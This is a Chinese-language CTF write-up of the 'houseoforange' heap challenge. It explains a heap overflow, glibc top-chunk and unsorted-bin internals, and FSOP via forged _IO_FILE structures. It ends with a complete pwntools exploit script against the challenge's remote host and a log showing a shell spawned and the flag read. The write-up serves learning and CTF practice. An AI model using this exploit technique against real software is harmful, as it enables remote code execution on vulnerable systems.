解题思路
安全机制检查
healer@healer-virtual-machine:~/Desktop/IO_FILE/level1/house_of_orange/houseoforange$ readelf -h houseoforange
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xaf0
Start of program headers: 64 (bytes into file)
Start of section headers: 12664 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 27
Section header string table index: 26
healer@healer-virtual-machine:~/Desktop/IO_FILE/level1/house_of_orange/houseoforange$ checksec houseoforange
[*] '/home/healer/Desktop/IO_FILE/level1/house_of_orange/houseoforange/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
# 保护全开
分析利用过程
堆空间基本使用情况
# 简单测试堆的结构
pwndbg> x/50xg 0x555555758000
0x555555758000: 0x0000000000000000 0x0000000000000021 结构体1
0x555555758010: 0x0000555555758080 0x0000555555758030 property指针 name指针
0x555555758020: 0x0000000000000000 0x0000000000000051
0x555555758030: 0x6665656264616564 0x000000000000000a name chunk区域
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000021
0x555555758080: 0x000000200000000f 0x0000000000000000 property区域
0x555555758090: 0x0000000000000000 0x0000000000000021 结构体2
0x5555557580a0: 0x0000555555758110 0x00005555557580c0 property指针 name指针
0x5555557580b0: 0x0000000000000000 0x0000000000000051
0x5555557580c0: 0x6665656264616564 0x000000000000000a name chunk区域
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000000
0x555555758100: 0x0000000000000000 0x0000000000000021
0x555555758110: 0x000000200000000f 0x0000000000000000 property区域
0x555555758120: 0x0000000000000000 0x0000000000020ee1 Top chunk区域
0x555555758130: 0x0000000000000000 0x0000000000000000
name chunk区域:存放输入的用户名
property区域:存放输入的“Price of Orange”
初步发现漏洞
Upgrade函数
int Upgrade()
{
char *v1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
signed int v3; // [rsp+Ch] [rbp-14h]
if ( upgrade_times > 2u )
return puts("You can't upgrade more");
if ( !ptr )
return puts("No such house !");
printf("Length of name :");
v2 = get_int();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
read_n(ptr->malloc_ptr, v2); //直接读入数据,未检测新的大小是否大于原有大小
printf("Price of Orange: ", v2);
v1 = ptr->property;
*(_DWORD *)v1 = get_int();
print_color();
printf("Color of Orange: ");
v3 = get_int();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*((_DWORD *)ptr->property + 1) = 0xDDAA;
else
*((_DWORD *)ptr->property + 1) = v3 + 30;
++upgrade_times;
return puts("Finish");
}
函数中可以对数据进行修改,但是修改数据时,重新输入的大小“Length of name”没有经过检验,就是说,函数的堆块在第一次创建的时候经过了malloc函数分配内存,但是第二次修改时直接修改了可读入的字符个数,可以造成堆中数据的溢出,且溢出大小可任意控制,且溢出空间的内存可控
基本利用思路
此题的利用过程学姿势,第一次做此类的题目,模仿大佬,然后了解过程中的所有细节
触发sysmalloc()
的_int_free()
构造Unsorted bin
泄漏敏感地址
# 创建第一个chunk
pwndbg> vis_heap_chunks
0x555555758000 0x0000000000000000 0x0000000000000021 ........!.......
0x555555758010 0x0000555555758050 0x0000555555758030 P.uUUU..0.uUUU..
0x555555758020 0x0000000000000000 0x0000000000000021 ........!.......
0x555555758030 0x6665656264616564 0x000000000000000a deadbeef........
0x555555758040 0x0000000000000000 0x0000000000000021 ........!.......
0x555555758050 0x000000200000000f 0x0000000000000000 .... ...........
0x555555758060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk
# 堆溢出之后修改Top Chunk大小
pwndbg> x/30xg 0x555555758000
0x555555758000: 0x0000000000000000 0x0000000000000021
0x555555758010: 0x0000555555758050 0x0000555555758030
0x555555758020: 0x0000000000000000 0x0000000000000021
0x555555758030: 0x4141414141414141 0x4141414141414141
0x555555758040: 0x0000000000000000 0x0000000000000021
0x555555758050: 0x000000200000000f 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000fa1
0x555555758070: 0x000000000000000a 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
# 再次创建一个大小刚好大于上一步构建的0xfa1大小的chunk
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555758080
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555557580a0
Size: 0xf41
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
Allocated chunk
Addr: 0x555555758fe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x555555758ff0
Size: 0x11
Allocated chunk
Addr: 0x555555759000
Size: 0x00
pwndbg> x/30xg 0x555555758000
0x555555758000: 0x0000000000000000 0x0000000000000021
0x555555758010: 0x0000555555758050 0x0000555555758030
0x555555758020: 0x0000000000000000 0x0000000000000021
0x555555758030: 0x4141414141414141 0x4141414141414141
0x555555758040: 0x0000000000000000 0x0000000000000021
0x555555758050: 0x000000200000000f 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000021
0x555555758070: 0x000000000000000a 0x0000555555779010
0x555555758080: 0x0000000000000000 0x0000000000000021
0x555555758090: 0x000000000000000f 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000f41
0x5555557580b0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x5555557580c0: 0x0000000000000000 0x0000000000000000
pwndbg> x/30xg 0x555555758000+0xfa0
0x555555758fa0: 0x0000000000000000 0x0000000000000000
0x555555758fb0: 0x0000000000000000 0x0000000000000000
0x555555758fc0: 0x0000000000000000 0x0000000000000000
0x555555758fd0: 0x0000000000000000 0x0000000000000000
0x555555758fe0: 0x0000000000000f40 0x0000000000000010
0x555555758ff0: 0x0000000000000000 0x0000000000000011
0x555555759000: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0
此处需要详细解释为什么发生了这种情况,下面是参考大佬的解释,详细内容参见大佬源码解释
Top Chunk大小的修改需要满足一下条件:
- 大于MINSIZE(0X10)
- 小于所需的大小 + MINSIZE
- prev inuse位设置为1
- old_top + oldsize的值是页对齐的
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
当再次申请的chunk大小大于现有Top Chunk时,会触发sysmalloc中_int_free,并且申请的堆大小也不能超过mp_.mmap_threshold,因为代码中也会根据请求值来做出不同的处理。
if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
如果请求的堆块大小nb大于等于mp_.mmap_threshold就可能走mmap分支,而不是扩展原来heap的大小了。
触发_int_free后,top_chunk就被释放到unsortbin中了。之所以要这样操作,是因为程序本身的限制,让我们不能分配到想要的内存区。
- 每一次查看只能查看最近创建的Chunk中的信息,查看不到之前的
- 题目程序本身没有释放(free)操作
通过这种方式,在空闲区有了堆块,也就存在了链表指针,通过一定的方式就拿到想要的数据。使得Unsorted bin
中有内容,并且内容可以被泄漏出来
继续漏洞利用过程利用分析
# 紧接着创建一个0x410大小的chunk
pwndbg> x/30xg 0x555555758000
0x555555758000: 0x0000000000000000 0x0000000000000021
0x555555758010: 0x0000555555758050 0x0000555555758030
0x555555758020: 0x0000000000000000 0x0000000000000021
0x555555758030: 0x4141414141414141 0x4141414141414141
0x555555758040: 0x0000000000000000 0x0000000000000021
0x555555758050: 0x000000200000000f 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000021
0x555555758070: 0x0000555555758090 0x0000555555779010
0x555555758080: 0x0000000000000000 0x0000000000000021
0x555555758090: 0x000000200000000f 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000021
0x5555557580b0: 0x00005555557584f0 0x00005555557580d0
0x5555557580c0: 0x0000000000000000 0x0000000000000421
0x5555557580d0: 0x0a65656264616564 0x00007ffff7dd2188 <- Libc address
0x5555557580e0: 0x00005555557580c0 0x00005555557580c0 <- Heap address
上面紧接着申请一个chunk,进程会切分unsortedbin,并且将TopChunk的值写到堆空间
此时libc
的main_arena
和heap
的地址都出现在了堆块中,可通过see()
函数泄漏出来
关于堆的地址出现在unsorted bin
中的源码解释:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;//将old_top从unsortbin中取下
bck->fd = unsorted_chunks (av);
…
victim_index = largebin_index (size);//计算old_top大小在largebin那个层次
bck = bin_at (av, victim_index);
fwd = bck->fd;
…
victim->fd_nextsize = victim->bk_nextsize = victim;//将old_top的fd_nextsize和bk_nextsize都指向old_top本身
…
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//将old_top加入largebin链表中
bck->fd = victim;
通过上一步我们已经在堆中创建了一个unsorted bin chunk
,我们就可以通过他来泄露libc和堆的地址.
泄露libc
的地址:我们首先新建一间新的house
,其大小设为一个比较大的值但同时还要小于我们刚刚设置top chunk
的大小,通过这种方式来拿到刚才那个unsorted bin chunk
。接下来我们可以输入8个字节作为house
的name
,紧接着在使用 See the house
功能我们就能拿到libc
的地址.由于没有清理位于堆中的值,所以我们才能得到libc的地址.
泄露堆的地址:因为这里已经没有任何一个chunk
可以匹配unsorted bin
的大小了,所以他会被作为第一个large bin
.这里有两个成员需要注意: fd_nextsize
和 bk_nextsize
,在large chunk
中上述两个成员位于的位置的值为两个指针.分别指向下一个和前一个large chunk
.我们可以在修改 house
信息时利用它来泄露堆的地址.
本题关键点开始
自己也是第一次做这种题目,就先把相关的概念全部整理出来,有以下几个概念需要搞明白
- _IO_FILE对象
- _IO_flush_all_lockp函数
- _IO_list_all
- _IO_jump_t虚函数表
- _IO_FILE_complete对象
_IO_FILE_complete
对象是_IO_FILE
结构的完全版
- _IO_FILE_plus
_IO_FILE_plus
是_IO_FILE
的加强版,linux程序中每创建一个文件对象,都会为这个对象生成一个_IO_FILE_plus
结构体,所有文件共享一个函数表,_IO_jump_t *vtable
指向这个函数表
FILE 结构
另:由于自对这部分内容也是第一次接触,开始有很多概念一下子也没看懂,大佬的原文,切记要详读,并理解
自己先简单总结一下:
结合自己的调试发现_IO_list_all
中记录的值是strerr
的FILE结构体的值(此题未调用其他的文件读取,所以应该只有3个FILE结构stdin、stdout、stderr):
pwndbg> p _IO_list_all
$12 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> x/30xg 0x7ffff7dd2540
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7dd2620
0x7ffff7dd25b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7dd3770
0x7ffff7dd25d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd25e0 <_IO_2_1_stderr_+160>: 0x00007ffff7dd1660 0x0000000000000000
0x7ffff7dd25f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dd06e0
由于FILE
结构体中的_chain
域将所有的FILE结构体构成一个链表,所以下一个FILE
结构体就在stderr
结构体的_chain
里面,看下面他们3个的链接关系
pwndbg> p/x *((struct _IO_FILE_plus*)stderr)
$14 = {
file = {
...
_chain = 0x7ffff7dd2620, # 指向stdout
...
pwndbg> x/50xg 0x7ffff7dd2620
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
...
pwndbg> p/x *((struct _IO_FILE_plus*)stdout)
$15 = {
file = {
...
_chain = 0x7ffff7dd18e0, # 指向stdin
...
pwndbg> x/50xg 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963
...
pwndbg> p/x *((struct _IO_FILE_plus*)stdin)
$16 = {
file = {
...
_markers = 0x0,
...
# 也可以使用下面的方法实现
pwndbg> p _IO_list_all->file._chain
$18 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
pwndbg> p (struct _IO_FILE *)(_IO_list_all->file._chain)._chain
$23 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> p (struct _IO_FILE *)((_IO_list_all->file._chain)._chain)._chain
$24 = (struct _IO_FILE *) 0x0
可以发现现在三个_IO_FILE_plus
结构体的vtble
指向的都是0x7ffff7dd06e0
:
pwndbg> x/50xg 0x7ffff7dd06e0
0x7ffff7dd06e0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd06f0 <_IO_file_jumps+16>: 0x00007ffff7a869d0 0x00007ffff7a87740
0x7ffff7dd0700 <_IO_file_jumps+32>: 0x00007ffff7a874b0 0x00007ffff7a88610
0x7ffff7dd0710 <_IO_file_jumps+48>: 0x00007ffff7a89990 0x00007ffff7a861f0
0x7ffff7dd0720 <_IO_file_jumps+64>: 0x00007ffff7a85ed0 0x00007ffff7a854d0
0x7ffff7dd0730 <_IO_file_jumps+80>: 0x00007ffff7a88a10 0x00007ffff7a85440
0x7ffff7dd0740 <_IO_file_jumps+96>: 0x00007ffff7a85380 0x00007ffff7a7a190
0x7ffff7dd0750 <_IO_file_jumps+112>: 0x00007ffff7a861b0 0x00007ffff7a85b80
0x7ffff7dd0760 <_IO_file_jumps+128>: 0x00007ffff7a85980 0x00007ffff7a85350
0x7ffff7dd0770 <_IO_file_jumps+144>: 0x00007ffff7a85b70 0x00007ffff7a89b00
0x7ffff7dd0780 <_IO_file_jumps+160>: 0x00007ffff7a89b10 0x0000000000000000
0x7ffff7dd0790: 0x0000000000000000 0x0000000000000000
pwndbg> p _IO_file_jumps
$17 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a869d0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a87740 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a874b0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89990 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a861f0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a854d0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a85440 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a85380 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a7a190 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a861b0 <__GI__IO_file_read>,
__write = 0x7ffff7a85b80 <_IO_new_file_write>,
__seek = 0x7ffff7a85980 <__GI__IO_file_seek>,
__close = 0x7ffff7a85350 <__GI__IO_file_close>,
__stat = 0x7ffff7a85b70 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}
vtable
是_IO_jump_t
类型的指针,_IO_jump_t
中保存了一些函数指针,在后面我们会看到在一系列标准IO
函数中会调用这些函数指针,该类型在libc
文件中的导出符号是_IO_file_jumps
,至此已经梳理完了所有新的知识点,各种结构体、指针、链表、函数、偏移、列表以及他们之间的关系,下面开始讨论利用方法。
此题FSOP利用继续
FSOP
的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP
选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
调试中发现下面的问题
pwndbg> p/x *(struct _IO_FILE_plus*)stdin
$2 = {
file = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7dd1963,
...
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dd06e0 # 此处是我们想控制的变量
}
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555557000 r-xp 3000 0 /home/healer/Desktop/houseoforage/houseoforange
0x555555756000 0x555555757000 r--p 1000 2000 /home/healer/Desktop/houseoforage/houseoforange
0x555555757000 0x555555758000 rw-p 1000 3000 /home/healer/Desktop/houseoforage/houseoforange
0x555555758000 0x55555579b000 rw-p 43000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
# 根据vmmap显示的结果发现这里倒数第二行是不可写的内存区域,而vtable指针恰好在这个区域内
# 这里是因为我没有使用题目给定的libc文件,自带的libc-2.23.so实际上将原来的漏洞修复了
# 咱们先按照题目的环境运行,关于2.23版本的利用方法,此题做出来之后再尝试
题目运行环境的调整
调整系统环境之后发现发现,vtable
指针所在段可写,可以进行继续调试
结构体利用部分思路整理
通过调试发现我们最终要实现的目的如下图所示:
关于函数执行流程的一些参考
关于payload的构造思路整理,先看图:
攻击脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# context.terminal = ['terminator', '-x', 'sh', '-c']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
io = remote("111.200.241.244",49392)
# io = process("./houseoforange")
elf = ELF("./houseoforange")
# libc = ELF("./libc32-2.19.so")
libc = ELF("./libc64-2.19.so")
# libc = ELF("./libc-2.19.so")
context(arch = "amd64", os = 'linux')
def build_house(length,name,price,color):
io.recvuntil("Your choice : ")
io.sendline("1")
io.recvuntil("Length of name :")
io.sendline(str(length))
io.recvuntil("Name :")
io.sendline(name)
io.recvuntil("Price of Orange:")
io.sendline(str(price))
io.recvuntil("Color of Orange:")
io.sendline(str(color))
def see_house():
io.recvuntil("Your choice : ")
io.sendline("2")
def upgrade_house(length,name,price,color):
io.recvuntil("Your choice : ")
io.sendline("3")
io.recvuntil("Length of name :")
io.sendline(str(length))
io.recvuntil("Name:")
io.sendline(name)
io.recvuntil("Price of Orange: ")
io.sendline(str(price))
io.recvuntil("Color of Orange: ")
io.sendline(str(color))
# gdb.attach(io,"b * $rebase(0x13fd)\nb * $rebase(0x1415)\nb * $rebase(0xeea)\nb * $rebase(0xd68)")
# gdb.attach(io,"b * $rebase(0x13fd)\nb * $rebase(0xd68)\nb * $rebase(0x1415)")
build_house(0x10,"deadbeef",15,2)
payload = b"A"*0x10 + p64(0) + p64(0x21) + p64(0x000000200000000f) + p64(0)*2 + p64(0xfa1)
upgrade_house(0x60,payload,15,2)
build_house(0xfb0,"deadbeef",15,2) # trigger the _int_free in sysmalloc
build_house(0x410,"deadbee",15,2)
# Leak Libc address
see_house()
io.recvuntil(b"deadbee\x0a")
main_arena_x = io.recv(6).ljust(8,b"\x00")
main_arena_x = u64(main_arena_x)
log.success("Get main_arena_x Address : "+hex(main_arena_x))
malloc_hook = main_arena_x - 1640 - 0x20 # libc2.23 -> 0x10 ; libc2.19 -> 0x20
libc_base_addr = malloc_hook - libc.symbols["__malloc_hook"]
log.success("Get Libc Base Address : "+hex(libc_base_addr))
# # plan A # failure because of the error of system address
# system_addr_offset = libc.symbols["system"]
# system_addr = libc_base_addr + system_addr_offset
# log.success("Get System Address : "+hex(system_addr))
# plan B leak system address successfully
obj = LibcSearcher("__malloc_hook", malloc_hook) # 调用函数获取对应libc版本对象
libcbase = malloc_hook - obj.dump("__malloc_hook") # 获取libc加载的基地址
system_addr = libcbase + obj.dump("system") # 进而获取system函数
log.success("LibcSearcher System Address : "+hex(system_addr))
# Leak Heap address
payload = b"A"*15
upgrade_house(0x20,payload,15,2)
see_house()
io.recvuntil(b"A"*15+b"\x0a")
heap_address = io.recv(6).ljust(8,b"\x00")
heap_address = u64(heap_address)
# print("heap_address -> "+hex(heap_address))
heap_address = heap_address -0xc0
log.success("Get Heap Begin Address : "+hex(heap_address))
IO_list_all_addr = libc_base_addr + libc.symbols["_IO_list_all"]
log.success("Get _IO_list_all Address : "+hex(IO_list_all_addr))
vtable_addr = heap_address + 0x5f0 + 8
log.success("Get vtable_addr Address : "+hex(vtable_addr))
payload = b"b"*0x420
payload += p32(0xdada) + p32(0x20) + p64(0)
stream = b"/bin/sh\x00" + p64(0x61) # fake file stream
stream += p64(0xdeadbeef) + p64(IO_list_all_addr-0x10) # Unsortbin attack
stream = stream.ljust(0xa0,b"\x00") # contains the value of _vtable_offset == 0 1
stream += p64(heap_address+0x5d0) # point to _wide_data
stream = stream.ljust(0xc0,b"\x00")
stream += p64(1) # value of _mode so : fp->_mode > 0 2
payload += stream
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr) # point to _IO_jump_t struct
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4) # _IO_write_base
payload += p64(5) # _IO_write_ptr so : _IO_write_ptr > _IO_write_base 3
payload += p64(0)
payload += p64(system_addr) # point to system
upgrade_house(0x800,payload,123,3)
io.recvuntil(":")
io.sendline("1") # trigger malloc and abort
io.interactive()
执行成功效果
healer@ubuntu:~/houseoforage$ python3 remote_exp.py
[+] Opening connection to 111.200.241.244 on port 49392: Done
[*] '/home/healer/houseoforage/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/home/healer/houseoforage/libc64-2.19.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Get main_arena_x Address : 0x7f11e0fb4dc8
[+] Get Libc Base Address : 0x7f11e0bf6000
[+] Get System Address : 0x7f11e0c3c590
Multi Results:
0: archive-old-glibc (id libc6-i386_2.19-10ubuntu2_amd64)
1: ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64)
2: archive-eglibc (id libc6_2.19-0ubuntu6_amd64)
3: archive-old-glibc (id libc6_2.19-10ubuntu2_amd64)
4: archive-old-glibc (id libc6_2.19-10ubuntu2.3_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:1
[+] ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64) be choosed.
[+] LibcSearcher System Address : 0x7f11e0c38590
[+] Get Heap Begin Address : 0x5642273d9000
[+] Get _IO_list_all Address : 0x7f11e0fb51a0
[+] Get vtable_addr Address : 0x5642273d95f8
[*] Switching to interactive mode
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f11e0fb51a0 ***
$ ls
bin
dev
flag
houseoforange
lib
lib32
lib64
$ cat flag
cyberpeace{e276c48d*****************1fc36f7873d}